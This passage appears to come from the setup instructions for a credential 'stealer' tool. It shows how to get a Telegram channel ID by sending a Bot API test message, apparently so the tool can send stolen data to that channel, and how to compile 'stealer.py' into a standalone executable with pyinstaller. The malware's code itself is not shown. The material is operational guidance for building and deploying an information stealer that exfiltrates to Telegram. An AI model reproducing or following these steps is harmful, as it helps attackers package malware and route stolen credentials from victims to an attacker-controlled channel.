- Convert it to public with some
@channelName
- Send test message using this URL:
https://api.telegram.org/bot%TOKEN%/sendMessage?chat_id=@channelName&text=test
- As response we will get something like this:
{"ok": true, "result": {"chat": {"id": %CHANNEL_ID%, "title": "Test Private Channel", "type": "channel"}, "date": 1448245538, "message_id": 7, "text": "test"}}
- Now you can convert it back to private and use obtained ID
- Install pyinstaller using pip
pip install pyinstaller
- Execute following command to compile:
pyinstaller -F stealer.py